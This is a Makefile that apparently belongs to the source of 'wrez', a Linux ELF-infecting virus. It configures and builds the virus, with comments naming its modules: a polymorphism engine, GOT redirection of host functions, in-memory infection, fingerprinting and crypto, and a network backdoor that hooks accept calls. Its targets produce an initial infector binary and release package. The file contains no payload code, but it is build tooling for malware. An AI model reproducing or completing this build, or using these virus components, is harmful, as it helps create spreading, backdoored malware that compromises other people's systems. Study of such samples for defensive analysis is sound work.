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|
VERSION=0.7.8
DFLAGS += -DPOLYMORPHISM # make the virus polymorph
# LOOKUP module (lookup.[ch])
#DFLAGS += -DLOOKUP # PLT/GOT capabilities
#DFLAGS += -DLOOKUP_LIBC_CALL_EXAMPLE # call system from within the virus
#DFLAGS += -DLOOKUP_GOT_REDIRECTION_EXAMPLE # redirect printf calls of host
#DFLAGS += -DLOOKUP_GOT_DEEP_REDIRECTION_EXAMPLE # redirect deep calls of libs
# INMEM module (inmem.[ch])
#DFLAGS += -DINMEM
# FINGERPRINT module (fingerprint.c, crypto.c)
#DFLAGS += -DFINGERPRINT
# NETWORK BACKDOOR module, using accept
#DFLAGS += -DLOOKUP_BACKDOOR_NETWORK_MAGIC # hooks all accept calls
###
### DO NOT CHANGE ANYTHING BELOW THIS LINE
###
CFLAGS += -Wall -fconserve-space -Os -fno-builtin $(DFLAGS) -g -ggdb
OBJS = wrcore.o inmem.o lime.o lime-interface.o lookup.o fingerprint.o crypto.o
CC=gcc-2.95
CC_USER=gcc
CFLAGS_USER=-Wall -g -ggdb
all: wrez
dist: releaseclean release
make distclean
releaseclean: distclean
rm -fR release*
release: releaseclean wrez sweep clean
rm -fR release*
mkdir release-$(VERSION)
mv wrez.bin.out wrez.bin.conf initial infect wrezsweep \
release-$(VERSION)/
distclean: clean
rm -f wrez.map
rm -f wrez.bin.out
rm -f infect initial
clean: cryptoclean limeclean lookupclean
rm -f wrez
rm -f *.o
rm -f wrezdefs.h wrezdefs.inc
echo | awk '{ printf ("#define WREZ_CFG_START 0x41414141\n"); }' >> wrezdefs.h
echo | awk '{ printf ("#define WREZ_SIZE 0x41414141\n"); }' >> wrezdefs.h
echo | awk '{ printf ("wrez_len equ 0x41414141\n"); }' >> wrezdefs.inc
# additional build process stuff
rm -f compressor
rm -f wrez.bin wrez.2nd wrez.2nd.compressed
fclean:
rm -f wrez *.o
sweep: wrezsweep.c
$(CC) -o wrezsweep wrezsweep.c -Wall -g -ggdb
# lookup and linker engine
lookupclean:
rm -f lookup
rm -fR lookup-test
lookuptest: lookup.c
rm -fR lookup-test
mkdir lookup-test
cd lookup-example ; ./shared-library-build.sh ; cd ..
$(CC_USER) $(CFLAGS_USER) -Llookup-example -lshared-library \
-DTESTING -DTESTING_DEBUG -o lookup lookup.c
mv lookup lookup-test/
mv lookup-example/libshared-library.so lookup-test/
mv lookup-example/shared-library-use lookup-test/
echo "# use with 'source ldpath.sh' to set LD_LIBRARY_PATH" > lookup-test/ldpath.sh
echo >> lookup-test/ldpath.sh
echo "export LD_LIBRARY_PATH=\`pwd\`" >> lookup-test/ldpath.sh
chmod 755 lookup-test/ldpath.sh
lookuptestpm: lookup-pm.c
rm -fR lookup-test
mkdir lookup-test
cd lookup-example ; ./shared-library-build.sh ; cd ..
$(CC_USER) $(CFLAGS_USER) -Llookup-example -lshared-library \
-DTESTING -DTESTING_DEBUG -o lookup-pm lookup-pm.c
mv lookup-pm lookup-test/
mv lookup-example/libshared-library.so lookup-test/
mv lookup-example/shared-library-use lookup-test/
echo "# use with 'source ldpath.sh' to set LD_LIBRARY_PATH" > lookup-test/ldpath.sh
echo >> lookup-test/ldpath.sh
echo "export LD_LIBRARY_PATH=\`pwd\`" >> lookup-test/ldpath.sh
chmod 755 lookup-test/ldpath.sh
# in-memory infection engine
inmemtest: inmem.c lookup-pm.c
$(CC_USER) $(CFLAGS_USER) -c -o lookup-pm.o lookup-pm.c
@echo
@echo "# ignore warnings about missing external prototypes in 'inmem'"
@echo
$(CC_USER) $(CFLAGS_USER) -o inmem inmem.c lookup-pm.o -DTESTING
$(CC_USER) $(CFLAGS_USER) -o /tmp/inmem-test inmem-test.c
@echo
@echo "# fix the page permissions of ./inmem executeable to +rwx on first segment"
@echo
# the compressor (not included within final binary)
compressor: compressor.c
$(CC) -o compressor compressor.c -O2 -g -ggdb
initial: initial.c
# diet $(CC) -static -o initial initial.c -g -ggdb -Wall
$(CC) -o initial initial.c -g -ggdb -Wall
# polymorphism engine (lime)
lime.o: lime.asm
nasm -f elf -o lime.o lime.asm
limeclean:
rm -f lime-interface-test lime*.o
limetest: lime-interface-test.c lime-interface.o lime.o
$(CC) $(CFLAGS) -c -o lime-interface-test.o lime-interface-test.c
ld -s -T lime-interface-test.lds -o lime-interface-test
# crypto stuff
cryptotest: crypto-test.c crypto.c
$(CC_USER) $(CFLAGS_USER) -o crypto-test crypto-test.c crypto.c
./crypto-test AAAAAAAA
./crypto-test aaaaaaaa
cryptoclean:
rm -f crypto-test
wrez: compress.sh compressor initial wrez.asm $(OBJS)
ifneq ($(final),on)
rm -f wrezdefs.inc wrezdefs.h
echo | awk '{ printf ("wrez_len equ 0x41414141\n"); }' >> wrezdefs.inc
nasm -f elf -o wrez.o wrez.asm
nm wrez.o | grep "wrcfg$$" | \
awk '{ printf ("#define WREZ_CFG_START 0x%s\n", $$1); }' \
>> wrezdefs.h
echo | awk '{ printf ("#define WREZ_SIZE 0x41414141\n"); }' >> wrezdefs.h
# link using preprocessing linkmap description file
rm -f wrez-link-actual.lds
gcc -E -C -P -nostdinc $(DFLAGS) -x c-header wrez-link.lds > wrez-link-actual.lds
ld -Map wrez.map -s -T wrez-link-actual.lds -o wrez
# ld -Map wrez.map -T wrez-link.lds -o wrez
rm -f wrez-link-actual.lds
size wrez | grep wrez | \
awk '{ if ($$2 != 0 || $$3 != 0) { \
printf ("\nWARNING: non-zero absolute elements\n\n"); \
exit (1); } }'
# get proper size
size wrez | grep wrez | \
awk '{ printf ("#define WREZ_SIZE %s\n", $$1); }' \
>> wrezdefs.h
cat wrezdefs.h | grep -v "#define WREZ_SIZE 0x41414141" > wrezdefs.h.temp
mv wrezdefs.h.temp wrezdefs.h
# fixup length in .inc assembler include file
size wrez | grep wrez | \
awk '{ printf ("wrez_len equ %s\n", $$1); }' \
> wrezdefs.inc
make final=on fclean wrez
else
nasm -f elf -o wrez.o wrez.asm
rm -f wrez-link-actual.lds
gcc -E -C -P -nostdinc $(DFLAGS) -x c-header wrez-link.lds > wrez-link-actual.lds
ld -Map wrez.map -s -T wrez-link-actual.lds -o wrez
rm -f wrez-link-actual.lds
echo;echo "### final initial infector built. (version $(VERSION))";echo;size wrez
./compress.sh
endif
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